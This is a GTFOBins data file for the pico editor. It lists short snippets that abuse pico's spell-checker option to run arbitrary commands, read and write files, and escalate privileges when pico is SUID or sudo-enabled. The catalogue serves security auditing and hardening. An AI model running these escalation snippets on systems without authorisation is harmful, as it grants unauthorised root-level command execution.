GTFOBins.github.io/_gtfobins/pico.md
2018-07-04 19:26:52 +01:00

39 lines
843 B
Markdown

---
functions:
execute-non-interactive:
- description: After running this exit the editor to see the command output.
code: |
COMMAND=id
TF=$(mktemp)
echo "$COMMAND" > $TF
chmod +x $TF
pico -s $TF /etc/hosts
^T
file-write:
- code: |
pico file_to_write
^O
file-read:
- code: 'pico file_to_read
'
suid-enabled:
- description: After running this exit the editor to see the command output.
code: |
COMMAND=id
TF=$(mktemp)
echo $'#!/bin/sh -p\n'"$COMMAND" > $TF
chmod +x $TF
./pico -s $TF /etc/hosts
^T
sudo-enabled:
- description: After running this exit the editor to see the command output.
code: |
COMMAND=id
TF=$(mktemp)
echo "$COMMAND" > $TF
chmod +x $TF
sudo pico -s $TF /etc/hosts
^T
---